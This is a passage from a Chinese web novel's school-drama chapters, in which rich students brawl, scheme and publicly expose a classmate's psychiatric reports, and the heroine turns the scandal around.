姜花衫在菊园休养了三天,重返校园最大的感受就是,这里的战场比起外面的腥风血雨可温柔太多了,见过白峥级别的大变态,苏妙简直就是小卡拉米。 傅绥尔挽着姜花衫的胳膊,“你还别说,她这几天特别反常,每天都来问我你怎么没来?你们什么情况?” 姜花衫笑了笑,“到时候再跟你说,你放心,咱俩永远天下第一好。” 傅绥尔抬起下巴,一脸傲娇,“那还用说。” 周绮珊默默走回座位。 “对了,阿珊,你刚刚跟我说什么来着?”苏妙心情变好,语调也跟着轻快了不少。 周绮珊神色淡淡,“没什么。” 苏妙心思都在自己身上,虽然知道周绮珊不高兴了,但也没放在心上。 周绮珊见她当真的什么都不说了,也不试图缓和,心里大为失望,起身往门外走去。 恰巧傅潇潇一路骂骂咧咧从门口进来,一时没注意,两人撞了个满怀。 傅潇潇正气不顺。 刚刚在楼下,她亲眼看见萧澜兰和周宴珩有说有笑进了教学楼,自从这个萧澜兰来了之后,周宴珩几乎都不怎么搭理她,听高年级的说,萧澜兰不拍戏的时候就去秘密花园找周宴珩,两人每次独处的时候都特别长。 傅潇潇恨的牙痒痒,她也不是没去周宴珩面前闹过,但周宴珩根本不把她当回事。 怒火原本就是爆发边缘,恰巧周绮珊撞上枪口,傅潇潇找准机会,劈里啪啦一顿骂,“你干嘛?变态吗?故意撞我?” 原本只是个寻常的小意外,傅潇潇这一声暴吼教室顿然鸦雀无声。 周绮珊也没料到她反应这么大,脸色白了又红。 傅潇潇,“你阴阳怪气盯着我做什么?大家都看着的,你刚刚就是故意往我身上蹭的,真的好恶心。” “傅潇潇!”苏妙一把推开书桌,大步冲上前,“你说谁恶心?!你信不信我撕烂你的嘴?” 打嘴仗傅潇潇就没怕过,讥笑着看着周绮珊,“怎么?别以为你们人多我就怕了?自己恶心还不让人说吗?每次上课时间就出去上厕所,也不知道背地里都做了什么见不得人的事。” 周绮珊脸色骤变,她脾气好,但不代表什么都能忍。 “满嘴喷粪,看我不撕烂你的嘴!” 苏妙比周绮珊反应更大,暴怒扑倒傅潇潇。傅潇潇一声惨叫,栽倒在地。苏妙一屁股坐在她的肚子上,撸起袖子撕她的嘴。 真撕啊! 众人缓过神后纷纷上前拉架。 傅潇潇也不是好惹的,一直用脚踹苏妙。 讲台上人仰马翻,傅绥尔看着这么热闹的场面,摸了摸下巴,“没想到这神经病还挺仗义的。” 姜花衫看着在人群里龇牙咧嘴的苏妙,淡淡笑了笑,“谁说不是呢?” * 高一英才三班女生打群架的消息很快在整栋教学楼传开。 沈兰晞和沈清予一听说有人打架,二话不说走出教室直奔高一区。 沈眠枝从办公室出来,正好看见萧澜兰挽着周宴珩的胳膊,举止亲昵。 她原本想回避,萧澜兰故意喊了她一声,拉着周宴珩上前打招呼。周宴珩也没觉得有什么,还像往常一样文雅可亲。 沈眠枝有些难过,她不擅长应付这种局面,正想找借口离开,学生会的同学就找了过来。 “主席,三班女生打起来了!劝都劝不住!” 沈眠枝第一个想到的就是姜花衫,转头冲向三班教室。 萧澜兰知道姜花衫的性子,见沈眠枝反应这么大也想去凑凑热闹。 “阿珩,我们也去看看吧?” 周宴珩挑眼,望着围满人群的教室兴致缺缺,他一向不喜欢凑热闹。 萧澜兰也不愿在这种事上惹他不快,小心翼翼解释,“我记得你妹妹也在三班,我看好像闹的挺大的所以才想去看看。你要是不想去我们就不去了。” 周宴珩没有回话,正准备转身就看见沈兰晞和沈归灵进了教室。 外面乌泱泱围了一群人,沈家两位少爷一来所有人立马让路。 犹豫片刻,周宴珩语气一转。 “也好,去看看。” * 三班讲台上里三层外三层围满了人,傅潇潇和苏妙都是犟种,相互撕扯着对方的头发死不松手。 “都给我让开。” 人群里,有人不轻不重喊了一声,围观看热闹的,帮忙劝架的看清是谁后统统闪到一边。 沈清予走到两人中间,认真打量了一番,确定没有姜花衫后摆了摆手,“继续。” 苏妙和傅潇潇:“……” …… 第231章:校园风波 沈兰晞早在挤进人群是就看见一旁的姜花衫了,见她乖乖站在旁边吃瓜,太子爷的神色放松许多。 三年成长足够喜人,少年此刻还没有意识到,他现在对姜花衫的要求已经低到只要不打架就称得乖乖了。 沈清予窜出人群,随手掏出一张金卡,“不错不错。” 这次竟然没有惹事,值得嘉奖。 姜花衫喜出望外,直接笑纳了,“谢谢啊。对了,这几天挖野菜手都挖粗了吧?我给你买了护手霜。” 沈清予大为受用,拿出手机又转了一笔,“买贵的。” 姜花衫喜滋滋应下。 沈兰晞看着她那张比太阳还灿烂的脸,深深陷入了沉默,脑子里不觉又浮现出那晚姜花衫冲进兰园对着他龇牙咧嘴的样子。 “……” 讲台那边,傅潇潇和苏妙被打断施法后陷入了僵局,两人各自拽着对方的头发。 “你先放手!” “凭什么我先放?要放也是你先放!” “你先动手的,当然你先放。” “你先嘴贱的,我凭什么先放?” “麻烦让让。” 沈眠枝在教室门口轻轻喊了一声,三班的同学都认出是学生会主席,立马退散一边。 沈眠枝手里拿着登记册,目光在傅潇潇和苏妙之间扫了一圈,温声道,“马上就要上课了,有什么问题可以去教务处协商解决,你们这样会影响学风纪律的。” 傅潇潇可不吃她这套,白了沈眠枝一眼,“别在我面前摆谱,你眼瞎啊?没看见是苏妙先惹事的吗?” 苏妙正想回嘴,一支笔从天而降对着傅潇潇砸了过去。 傅潇潇哎哟了一声。 沈清予双手插兜走到两人面前,看似漫不经心,实则暗藏杀机,“你说谁眼瞎?再说一遍。” 傅潇潇顿时不敢接话,沈眠枝脾气好她才敢出言不逊,但沈清予是出了名的暴脾气,傅潇潇也不敢撒野。 沈眠枝没想到沈清予会帮她说话,莫名有些感动。 沈兰晞见沈眠枝指尖一直扣着手册,抬眸看向讲台上的两人,“校风校纪所有人都应该遵守,既然傅小姐听不进规劝,那就登记请家长吧。” 傅潇潇和苏妙脸色一僵,立马松手。 “我……我们不过是闹着玩的,请家长就不必了吧?”苏妙不敢向沈兰晞求情,只能求助沈眠枝。 周绮珊也帮着说话,“这件事起因在我,如果要记过或者联系家里算我的,不关妙妙的事。” “啧!”苏妙一把脱开周绮珊,“谁让你说话了?” 傅潇潇看不惯她俩你推我让,正想讽刺几句,余光一扫就看见了人群外的周宴珩,她脸色一慌,赶紧整理头发。 周宴珩走进人群,态度温和朝沈眠枝点了点头,随即看向周绮珊,“怎么回事?” 周绮珊略有几分不自然,虽然她和周宴珩是堂兄妹,但关系并不亲密,许多事她都不太想让周宴珩知道。 傅潇潇也不想让周宴珩知道她和周绮珊关系不睦,笑着遮掩,“没什么,刚刚就是发生了一点小事。” 不等周宴珩说话,萧澜兰故作热情上前挽着周绮珊的手,“珊珊,你怎么了?是不是有人欺负你啊?” 傅潇潇脸色微变,不服瞪了一眼萧澜兰。 傅绥尔见状不觉乐了,拉了拉姜花衫的胳膊,悄悄咬耳朵,“萧澜兰这做派像不像周绮珊的嫂子?” 姜花衫笑了笑。 周绮珊不自在抽出手腕,她不太喜欢陌生人的肢体接触。 “没什么,刚刚只是一点误会。” 萧澜兰脸上的笑容凝固了一秒,又若无其事笑了过去。 沈眠枝原本还因为沈兰晞和沈清予帮她说话有些开心,可周宴珩和萧澜兰一出现,她那点开心瞬间就被磨灭了。 她深吸了一口气,努力让自己保持平静。 “下课后,麻烦两位去教导处写份检讨,另外,这件事会记录在下次的家访内容里面。” 傅潇潇瞬间不乐意了,“沈眠枝,你公报私仇是不是?” 写检讨她们哪会在意,主要是不想让家里人知道。 苏妙也有些不满,张口想骂,但看了姜花衫一眼又忍了回去。 沈眠枝并不争辩,转眸看向周绮珊,“你刚刚说这件事是你的责任,那下课你也要一起去。” 周绮珊不情愿点了点头, 萧澜兰见状,又上前做好人,“枝枝,大家都是朋友,何必这么上纲上线呢?既然事情都说清楚了也没必要这么较真,阿珩,你说是吧?” 沈眠枝看了周宴珩一眼,低下头解释,“无规矩不成方圆,威寡者则下侵上,这件事情必须严肃处理。” 拽什么文?装模做样,萧澜兰没忍住冷笑了一声。 傅绥尔摸了摸下巴,“看来沈眠枝是被你的‘ 百乘之家,不畜聚敛之臣’刺激到了。” 姜花衫还是不置一词。 周宴珩笑了笑,“你是学生会主席,听你的。” 这话一出,三个当事人都沉默了。 这语气太温柔,让沈眠枝无法抵御,她低着头嗡嗡说了声谢谢,转头跑了出去。 见状,傅绥尔原来调侃的眼神突然变的锋利,“渣男!” 她义愤填膺,咬牙小声道,“周宴珩是故意的对不对?” 姜花衫挑了挑眉,有些意外看向傅绥尔,莫名有种吾家有女初长成的欣慰。 这样通透,夏星沉那样的货色应该骗不到她了。 事情解决,围观的人群却越聚越多,都怪沈家少爷和周家少爷太惹眼了,三人突然同框,惹得大家热血沸腾。 萧澜兰自小享受被人追捧的感觉,心里暗爽却故作不经意朝沈兰晞招手,“兰晞哥。” 沈兰晞神情淡淡,目光瞥了周宴珩一眼,转头出了教室。 “……”萧澜兰为免自己尴尬,赶紧转头看向沈清予,“清予哥……” 沈清予反应比沈兰晞还冷,直接当没看见,跟姜花衫和傅绥尔打完招呼,双手插兜目不斜视出了教室。 他这人性子傲,向来看不惯没脑子又喜欢作孽的蠢货。 自从三年前萧澜兰的丑事被揭穿,沈清予就把她归结到了蠢货一类。平时逢年过节二房聚会,他也是对沈娥和萧澜兰爱搭不理。 沈渊对此颇为不满,甚至不止一次提醒他,沈娥是他亲姑姑,他不能胳膊肘往外拐。 一开始,沈清予懒得搭理,后来说多了烦,他直接将军,“你是我亲爹,我不照样帮着外人对付你?亲姑姑又算什么?” 从此,沈渊绝口不提沈娥、萧澜兰。 …… 第232章 把柄 萧澜兰没想到这两人当着大家的面这么给她难堪,有些委屈拉了拉周宴珩的手,“阿珩,我们走吧。” 周宴珩点头,目光不经意往教室扫了一眼。 眼下,姜花衫和傅绥尔已经坐回了座位,两人正交头接耳对着周宴珩和萧澜兰指指点点。那模样就像村口广播站一边纳鞋一边吃瓜的大妈,见周宴珩目光扫了过来,又欲盖欲彰抬头看天。 “……”周宴珩不动声色拉下萧澜兰的手,转头出了教室。 萧澜兰不明所以,但周宴珩的疏离比沈兰晞和沈清予更叫她难受,她赶紧追了上去,再次搂住周宴珩的胳膊。 “阿珩,你怎么了?” 周宴珩目光淡淡,萧澜兰可是沈家的外孙女,以沈家护犊子的性子,今天沈兰晞和沈清予的态度未免太反常了些。 难不成中间发生了什么事? 如果萧澜兰失去了沈家这个依仗,那他也就没必要逗她玩了。 念此,周宴珩低头,语气随和,“澜兰,你和沈兰晞、沈清予闹了什么不愉快的吗?” 萧澜兰微愣,回过神后立马否认,“没……没有啊。”似乎是怕周宴珩不信,她又刻意解释,“兰晞哥一直都那样,对谁都淡淡的,清予哥也是,臭屁的很,平时就不爱搭理人。” “是吗?”周宴珩笑了笑,可他刚刚亲眼看见那两人帮沈眠枝出头。 萧澜兰有些心虚,“嗯,就是这样的。” * 从教学楼回来后,萧澜兰就一直心神不宁,她总觉得周宴珩对自己好像有点不一样了,虽然两人分别时,她主动亲吻周宴珩没有拒绝,可是,她就是感觉有什么不一样了。 这种状态让她完全投入不了工作,连续NG了几条便撂担子不拍了。 摄影组已经见怪不怪,即使再有意见也不敢表现出来,只能偷偷给沈娥打电话。 这部戏萧氏集团的文娱公司是最大投资人,要是不能按时上映,损失最大的是萧氏。 沈娥接到电话时正好做完美容项目,听说女儿罢工,立马让司机改道去育才。她倒是不介意亏点小钱,只是单纯好奇究竟发生了什么事,能让女儿连戏都不拍了? 萧澜兰思来想去决定去艺术楼等周宴珩。 之前周宴珩也是对她爱搭不理,可那天之后明显就不一样了,所以萧澜兰打算像上次那样哄哄他。 一想到那天下午他们偷吃禁果的刺激,萧澜兰心中的涟漪就荡得没边。 只不过计划赶不上变化,她前脚刚踏进电梯,后脚沈娥的电话就打了过来。 萧澜兰权衡再三,决定先去见沈娥。 摄影组为了保证拍摄状态,特意向学校申请了几间演员休息室。她推门进去的时候,沈娥正优雅靠着沙发喝茶,见她来了,立马笑着招手。 “来,我看看,我家小公主又怎么不开心了?” 萧澜兰一脸委屈,扑进沈娥怀里,把今天在沈兰晞和沈清予那受的冷落都说了一遍。 沈娥嘴角的笑容淡了不少。 自从三年前她被沈庄赶出沈园后,不管她怎么努力,沈庄对她的态度始终冷淡。 沈娥也算看清楚了,她这位家主父亲狠起来的时候半点情面都不讲。 女儿受委屈做母亲的也不好受,沈娥轻轻拍了拍萧澜兰的背,“现在你知道自己当初有多冲动了?” 萧澜兰自是不觉得有错,只是后悔不该那么顶撞沈庄。随着阅历增长,她愈发能感觉到沈家人这三个字的含金量有多高。 “妈妈,外公真的一辈子不会让我们进沈园了吗?” 沈娥心情复杂,笑着安慰,“不至于。有你大舅舅二舅舅斡旋,总会有转机的。” 萧澜兰脸色一沉,“都怪那个小贱人!要不是她爷爷也不会这么对我们。” 其实今天,她早就看见姜花衫了,但那种场合,她根本不想表现出两人有任何交集。 “等我做周家少奶奶,看我怎么收拾她!” 沈娥原本想劝萧澜兰打消这个念头,这三年,连沈谦和沈渊都避着那小疯子,她们也没必要为了一个不相干的人坏了自己的前程。 但萧澜兰说这话时除了怨恨还有一抹娇羞,沈娥注意力被转移,带着几分试探,“兰兰,你和阿珩有进展了?” 说起周宴珩,刻薄如萧澜兰也羞红了脸,“嗯,我们现在在谈恋爱。” “真的吗?”沈娥一脸惊喜,自从被沈家疏离后,丈夫虽然没说什么,但沈娥也知道萧家人对此很不满,所以她才费尽心思想搭上周家这条线。 一是想弥补失势沈家的错误,二是周宴珩也算是二代才俊中的翘楚,沈娥也很满意。 萧澜兰点头,“真的啦。” 沈娥心情大好,看来进育才拍戏这步棋是走对了。 “澜兰,什么时候的事啊?怎么没听你说。” 萧澜兰捋了捋头发,“就几天前。” 沈娥点头,“那就好,阿珩那孩子看着就有主见,原本周夫人说她属于眠枝我还担心这是要黄,现在看来,倒是我多虑了。还是我的女儿有本事。我就说,你长的这么漂亮,只要阿珩眼睛没瞎就不会舍你选眠枝。” 萧澜兰原本像灌了蜜的蜂巢,冷不丁听了这话,立马警觉起来,“妈妈你说什么?周夫人说她喜欢眠枝?” 沈娥不以为然,“她喜欢有什么用?得看他儿子喜欢谁。既然你们已经在谈恋爱了这事也没必要遮掩,改天我约周夫人出来吃个饭,再探探她的口风。” 萧澜兰脸色不好,点了点头。 沈娥见女儿患得患失,没好气戳了戳她的额头,“多大的事?放心,有妈妈在谁还敢看不上你?倒是你,我可提醒你,谈恋爱归谈恋爱,千万别自降了身份,阿珩已经成年了,有些事他控制不住,但你可别傻傻就被骗了。这男人啊,得到的越容易越不懂珍惜。” 萧澜兰脸色霎时苍白。 她不敢告诉沈娥,她和周宴珩已经越线了,还是她主动的。 当时她没想那么多,就以为两人发生了关系周宴珩就离不开她了,可是现在似乎刚刚相反,她越来越依赖周宴珩,一想到他可能跟别人订婚,她就控制不住想发疯。 “妈妈,万一周夫人还是选择了沈眠枝,我该怎么办?” 她越想越不安。 沈娥轻蔑一笑,“放心吧,若是别人还好,要是眠枝,我可多的是把柄。” 萧澜兰不觉想到今天周宴珩看沈眠枝的眼神,眸光一转,抓紧沈娥的手,“妈妈,什么把柄?” 沈娥想了想,低声,“……” …… 第233章 为何而善? 翌日清晨。 姜花衫伸着懒腰走出庭院,“张妈!张妈!” “诶!姜小姐,怎么了?”张妈正在厨房炖汤,听见喊声来不及放下手中的勺就跑了出来。 姜花衫指着自己的右眼皮,“奇了怪了,我从起来右眼皮就一直跳。” “是吗?”张妈凑上前,“好像是有一点,姜小姐你等会啊~” 说着,她拎着汤勺跑进了卧室,过了一会手里拿了个红包走出来,“姜小姐,拿着,去灾招财。” 姜花衫有些哭笑不得。 张茹将红包塞给她,“拿着,宁可信其有,不可信其无。” “谢谢张妈。” 张茹已经习惯了这个称呼,摆摆手,“刚炖的银耳莲子汤,喝一碗再去学校?” 姜花衫点头,张茹转身去厨房,她盯着手里的红包陷入了沉思。 * 沈清予的惩罚还没结束,这段时间接送的重担就交到了沈兰晞身上。 早上耽误了一会儿,姜花衫出门的时间比平时晚了些。 高止一见她立马下车,乖觉打开车门,“公主请上车。” 姜花衫因为高止偷龟的事一直想找茬,但高止滑的跟泥鳅一样,一点错误都抓不着,姜花衫撇了撇嘴,安静上车。 沈兰晞淡淡扫了一眼,目光停留在她肩带镶钻的粉红书包上。 换书包了。 姜花衫察觉到沈兰晞的目光,拎起书包向他展示,“好看吧?这可是干妈给我定制了,不比你这车便宜。” 沈兰晞皱眉,小姑姑其他的还好,就是生活习惯太奢靡铺张了,连带姜花衫和傅绥尔都大手大脚。 “一般。” 他中肯评价,尤其是这粉色,一点都欣赏不来。 姜花衫瞬间变脸,“你懂什么?” 不懂欣赏,她还不乐意分享呢。 姜花衫抱着书包,转身背对着太子爷,“从现在起,谁再说话谁是狗。” “……” 沈兰晞彻底无语,整个鲸港圈都找不出脾气这么坏的女孩儿了。 冷战一直持续到下车。 高止一直在暗地里观察姜花衫的神情,等车一停稳立马下车开门,“公主,请下车。” 姜花衫嘴巴动了动,想找茬又不知道说什么,最后只能对高止竖起了大拇指。 等人走后,沈兰晞慢慢从车上下来,高止贴心递上书包。 “少爷,要不要我传授你几招?” “?”沈兰晞抬眸看着他。 高止指了指姜花衫的背影,“少爷你破绽太多了,姜小姐要找你的茬简直易如反掌。” 沈兰晞不说话,接过书包。 高止十分热心,“少爷,俗话说伸手不打笑脸人,下次姜小姐再找你的茬,你就夸她,保准一夸一个不吱声。” 沈兰晞背上书包,整理袖口。 高止怕他没理解,挨个知识点分析,“举个例子,刚刚姜小姐问你包好看吗?你回答一般这不是脑子有包吗?正确答案应该是……” “高止。”沈兰晞淡淡打断他,“南湾渡口的事你查清楚了吗?” 高止眼神闪烁。 “你要实在无聊,我可以把你送回清虚观跟那里的猴子叙叙旧。” 高止拿出眼镜,秒变高冷脸,“不用了,少爷。” 沈兰晞嗯了一声,往专属通道走去。 高止默默戴上眼镜,对着沈兰晞的背影做了一个开枪的手势。 冷酷无情的少爷,击毙你! * 上午风平浪静,放学铃一响学生们蜂拥而出。 姜花衫和傅绥尔还是等人走的差不多了才开始收东西。 “衫衫,中午吃什么?” “随便吧。” 姜花衫兴致缺缺,右眼皮跳了一上午,人都跳麻了。 “还是去五楼?我先订餐。” 下完单,见姜花衫准备背书包,傅绥尔愣了愣,“吃个饭,你背书包做什么?不嫌重?” 姜花衫指着上面二十克拉的粉钻,“我怕被偷。” 傅绥尔好笑,“你现在知道怕了?知道招摇你还背?” 姜花衫一脸玄学,“重财镇灾,我总觉得今天会不太平。” 傅绥尔偏听偏信,“行吧,那你背着吧。” 两人有说有笑出了教学楼。 刚走到操场,傅绥尔拉住姜花衫的胳膊,指着不远处的男男女女,“那不是萧澜兰吗?她拉着沈眠枝做什么?” 姜花衫正想说去看看,傅绥尔不由分说拽着她跑向了人群。 摄影组正在操场布景,因为要表现课外氛围所以需要一些学生入镜,而育才比较特殊性,不好招龙套,导演组原本打算让现场工作人员换上校服拍个远景,但萧澜兰觉得效果不好,便让周宴珩叫了些人过来帮忙。 昨天沈娥离开后,萧澜兰越想越不安,又偷偷溜去了艺术六楼。 那会周宴珩正在玩游戏,没怎么搭理她,萧澜兰把心一横,主动脱了衣服坐进周宴珩的怀里。 她这么乖觉,周宴珩也得了乐趣,倒也不介意在小事上帮衬一二。 操场上的学生几乎都是高二英才班的学生,大家被周宴珩叫来晒晒太阳一点脾气都没有,导演组让他们站哪就站哪。 而沈眠枝之所以会出现在这,也是萧澜兰邀请的。 因为萧澜兰知道她每个星期三下午都会提前早退,她故意给沈眠枝发了一条短信让她这个时候来。 “枝枝啊,我口渴了,你帮我去买瓶冰水吧?” 沈眠枝看着她身后站着的三个助理,表情冷淡,“你叫我来就是为了买水?” 萧澜兰笑着上前,小声说道,“对啊,我就是喜欢践踏你!谁让你就是个贱种呢。” 沈眠枝转头看着她,眼里的情绪灰蒙蒙的。 萧澜兰一脸得意,“别这么看着我?你爸爸为了赎罪亲手杀了你妈?为了能让你活着才在沈家做牛做马,你和你爸爸一辈子都洗刷不了对家族的背叛。别真把自己当沈家嫡小姐了,你也配?” 沈眠枝垂下头。 这句话,她从八岁听到现在。 八岁新年,沈娥带萧澜兰回沈园过年,她和萧澜兰看上了同一只宫灯,沈庄把灯给了年纪小一点的沈眠枝。 萧澜兰却因此怀恨在心,趁大人们不注意把沈眠枝拖进了雪地,不仅抢了她的灯,还‘打碎了她的脊梁’。 她用最恶毒的话说着沈眠枝妈妈的背叛,把沈让掌管暗堂说成赎罪,并告诉沈眠枝,她的命是靠沈家人怜悯才活下来的。 沈眠枝当然不信,吵着闹着要去找沈让问个明白,不幸的是,她还没逃出雪地就碰上了前来寻人的沈娥。 沈娥没想到萧澜兰竟然把秘密说了出来,为了保护女儿,她只能威胁一个八岁的孩子,“如果让老爷子知道你已经知道了真相,你爸爸会被家族驱逐,到时候你们就是想赎罪都没有机会了。” 沈眠枝自小聪明,她知道她的父亲会在深夜痛哭,常常还会抱着一个无名牌位坐到天明。 她已经猜到了那个牌位就是妈妈,但她从来都没有过问。因为她一直以为是妈妈抛弃了他们,所以沈家人才从不提起她,为了不让父亲伤心,她也从不提母亲。 但沈娥的话让她完全彻底惊醒,暗堂凶险万分,九死一生,她还总是抱怨爷爷偏心,为什么大伯、二伯、四伯都可以风风光光,只有她爸爸要躲在阴暗的角落? 原来是为了让她活着。 她觉得愧疚。 后来她告诉自己,要乖乖的,不要叛逆,不要再让父亲为难。 父亲手染鲜血以赎罪,那她就日行一善为父亲积福。 她知道很荒谬,但是…… 除了这些,她好像什么都做不了。 …… 第234章 你不是一个人 萧澜兰最享受的就是践踏沈眠枝后,她完全不挣扎的样子,真的非常有凌虐的爽感。 周宴珩隔着人群看着两人对峙。 关鹤啧啧摇头,“你说你个祸害,人家两姐妹为了你都要打起来了,你怎么还有心思看热闹?” 周宴珩笑了笑。 关鹤眺望了一圈,“阿珩哥面子可以啊,这来了多少人啊?”忽然,他语气一顿,吹了一声口哨,“那小喇叭也来了。” 周宴珩转眸看去,姜花衫和傅绥尔手挽手站在人群里,乌泱泱那么多人,一眼过去就看见她。周宴珩转过脸,拍了拍关鹤的肩膀,“把东西分了吧。” 关鹤点头,懒洋洋拍了拍手,“辛苦大家了,阿珩哥请大家喝下午茶。” 众人立马围了上去,对着周宴珩不是恭维就是夸。 萧澜兰收敛神情,故作惊喜跑上前,“你怎么来了?” 周宴珩看了沈眠枝一眼,面带微笑,“你们刚刚在说什么?” 萧澜兰扫了沈眠枝一眼,“我戒糖,不吃甜食,所以枝枝说她帮我去买水。” 沈眠枝不想解释,低着头准备走。 萧澜兰一把抓住她,“枝枝,把书包给我吧,免得受累。” 这是怕她中途跑了。 沈眠枝不想跟萧澜兰纠缠,尤其不想在周宴珩面前失态,她默默取下书包,从人群里挤了出去。 “这沈家的嫡小姐也太窝囊了吧?” 这次跑龙套都是些少爷小姐,自然是看不上沈眠枝这种不争不抢的态度的。 沈眠枝低着头,刚挤出人群忽然想到什么,眸光惊醒,转头跑了回去。 但,已经来不及了。 萧澜兰将她的书包递给助理,助理却突然手滑,拉开了书包拉链,里面的资料就这样赤裸裸暴露在众人面前。 《心理评估诊断报告》 《鲸和脑科疾病诊断证明书》 “呀!这是什么啊?”萧澜兰故作惊讶喊了一声。 冲进人群的沈眠枝脸色霎时苍白。 众人反应过来后,不觉都往后退了一步,眼神异样看着她。 沈眠枝僵滞在原地。 这一刻,她感觉自己就像狂风暴雨里漂泊的扁舟,她努力了这么久,却还是逃不过被深渊吞没的宿命。 萧澜兰捡起地上的资料,一脸懊悔,“枝枝,对不起,我不是故意的。可是,这么大的事你怎么能瞒着家里呢?” 只要让周家人知道沈眠枝有精神病,周夫人一定会回心转意。 母亲要她等时机,但她一刻都等不了。 萧澜兰委屈巴巴看着周宴珩,“怎么办,我真的不知道。” 周宴珩眼中也有些诧异,略带思索看向沈眠枝。 “不会吧?沈家嫡小姐脑子有问题?” “可是,她成绩很好呀,平时也没看出有什么不对劲。” “你懂什么?就是因为有病才需要伪装啊,沈家还真是可怕!这种事都藏着,竟然让我们跟神经病一起读书。” 议论声从四面八方涌来,密密麻麻,好像要把她撕碎了才甘心。 “让让。” 这时,有人走进人群,抬手从萧澜兰手里抢过了两本证明。 “我说怎么从早上起来眼皮一直跳,原来它也知道今天有晦气。” 萧澜兰听见这声音,头皮生理性发麻,一抬眸姜花衫已经站在了她面前。 “……”她虽然嘴上说着不怕,但身体还是很诚实后退了一步。 “姜花衫,你什么意思?” 姜花衫嗤笑了一声,“你蠢的我都懒得搭理你。”说罢又上下打量周宴珩。 周宴珩正想开口,她一脸嫌弃转过头,看向围观的人群,“怎么?你们都闲的没事做了?我们沈家在南非开了几百座矿,实在无聊,我可以包机送你们去南非挖矿。” “噗!”吃瓜的关鹤没忍住笑了起来。 这小喇叭还是牛啊,一个人威胁整个上层。 一有纷争,傅潇潇闻着味就来了,眼看大家被姜花衫的气势唬住了,傅潇潇叉腰直接对骂,“你少在这猪鼻子插大葱,装模做样?你以为你是谁?你以为你们沈家有多了不起?现在是你们要给我们一个交代,竟然让一个神经病跟我们一起学习生活了这么久,我们才不会放过你们。” 傅潇潇的话获得了不少人的认可,他们虽然不敢明言,但心里想的就是如此。 沈家难道要以一己之力犯众怒吗? 姜花衫点头,指着傅潇潇的鼻子,“你惹我是吧?” 不等傅潇潇反应,沈眠枝不知什么时候走到了她身边,拉着她的衣角,“你快走吧。” 傅潇潇见状,气势更足,梗着脖子,“她有病你还挨着她,你不怕被传染?” 姜花衫甩下书包,拉开拉链,从里面拿出两沓资料对着傅潇潇的脸甩了过去,“不好意思!重度精神失常患者,了解一下。” “噢,对了,括弧,反社会型人格障碍。” “知道什么是反社会型人格吗?我可以面不改色把你开膛破肚。” …… 第235章 被操控的傀儡 “快看快看,她们要打起来了。” 苏妙远远看见姜花衫拿了一沓纸对着傅潇潇的脸砸了过去,别提有多开心。 因为动静闹的很大,操场上吃瓜的同学越集越多,连拍摄组的工作人员都被挤到了外围。 “走吧。”周绮珊不喜欢看热闹。 苏妙一脸兴奋,“这么精彩的大戏怎么能错过?走走走,去前排。” 她压根不听周绮珊说了什么,像只泥鳅在人群里钻来钻去,前排的同学不满有人插队吃瓜,正想谴责,一看是苏妙只能默默让路。 历经了重重障碍,苏妙终于站到了吃瓜第一线。 傅潇潇面容扭曲,姜花衫敢甩她的脸?!怒火中烧,傅潇潇捡起地上的报告准备砸回去。 可就在她抬手的瞬间,表情愣了一下。 病人署名:苏妙。 傅潇潇顿时感觉自己像个过度膨胀的气球,马上就要炸了。 她咬牙,爆吼:“姜花衫你是不是脑子有泡啊?你甩的是苏妙的神经病证明!!!” “?” 苏妙愣住了,头顶一个大大的问号。 刹时,所有人的目光全部转移到了吃瓜第一线的苏妙身上。 怎么苏家千金也是神经病吗? 最近的豪门都怎么回事,批发产神经病吗? 周绮珊已经挤到了苏妙身边,见她成了众矢之的立马出声维护,“你们的事别扯我们,姜花衫,你别太过分了。” “咳咳。”苏妙拉了拉周绮珊,抬步走到傅潇潇跟前一把抢过她手里的报告。 之前苏妙和姜花衫就已经约定好了,姜花衫替她保守基因检测的秘密,她替姜花衫保守神经病的真相。 苏妙还是很有契约精神,略带一点官宣的意思,“哦,这个报告是我的。” 周绮珊愣住了,难以置信看着苏妙。 她竟然为了帮姜花衫认下这种事?! 傅潇潇一把抢过苏妙手里的报告,“你神经病吗?这里有你什么事?” 苏妙又把报告抢回来,“你瞎啊,没看见上面写了我的名字吗?我是当事人!” “……”傅潇潇气得一时不知道该怎么反驳,指着苏妙,“好!你们都承认了是吧?走!一起去校长室,学校要不给我们一个说法,明天我就让校学监察封了这里。” “谁要封学校啊?” 霍振华顶着反光的头皮从人群里走了出来,万年不变的中山装,模样一如既往威严又猥琐。 傅潇潇哪会把一个教导主任放在眼里,指着姜花衫一群人,“老师,你来的正好,这里一群神经病,赶紧让她们退学。” 见傅潇潇这么嚣张,萧澜兰就放心了。这件事闹的越大对她越有好处,最好让整个上流圈都知道,而且现在冲锋陷阵的是傅潇潇,她也可以摘离干净。 霍振华应付着点头,温声与沈眠枝商议,“沈同学,这件事闹大了对你,对学校都不好,不如我们先去教导处商量?” 沈眠枝看着眼前乌泱泱的众人,指尖微微蜷缩。 “好……” 字音还没完全落地,有人开口打断了她。 “不能去。” 姜花衫往前一步,挡在沈眠枝面前,昂首挺胸替她拦下所有异样的目光。 “去了,这件事就解释不清楚了,遮掩只会让人最大恶意揣测真相,必须在这说清楚。” 沈眠枝眼睑颤动,抬眸看着眼前的少女。 霍振华只觉太阳穴发嗡,眼前这个可是刺头中的刺头,只发最癫的疯,这家伙只要略微出手,泥塘瞬间变屎塘。 眼看围观的人越来越多,霍振华不得已表现出强势的一面,“姜花衫!你够了!你是老师还是我是老师啊。” 姜花衫,“霍老师,我可是在替你着想,你平时偷奸耍滑,趋吉避凶怎么偏偏在这节骨眼就犯糊涂了呢?听我一句劝,你呀,还像以前一样打打酱油走走过场从哪来回哪去就对了。” “……” 这话说的。 霍振华只觉被人当众打了两巴掌,正想呵斥,姜花衫语气明显冷了下来。 “否则,沈家会让你知道后悔两个字怎么写。” 霍振华脸色微变,姜花衫战绩可查,从无败北,的确不好惹。 他不自然轻咳了一声,“那你想怎么处理?” 傅潇潇震惊,疯了吧?!哪有老师问学生怎么办的? 姜花衫脸色缓和了不少,转眸看向苏妙,“麻烦苏小姐给大家解释一下你这个报告是怎么来的?” 苏妙心情有些复杂,犹豫片刻往前走了一步,高举着手里的检验报告。 “没错,这份报告的确是我的,但是!我没有神经病。这是鲸和心理科一位叫肖智的心理医生给我开的鉴定报告,他故意给我制造一份假的病例想借机攀附我们苏家,所幸我爷爷及时察觉才没有被蒙蔽。我说的是事实,不相信的自己可以去查。” 大家反应过来,立马看向地上的两份报告,主治医生的确也是肖智。 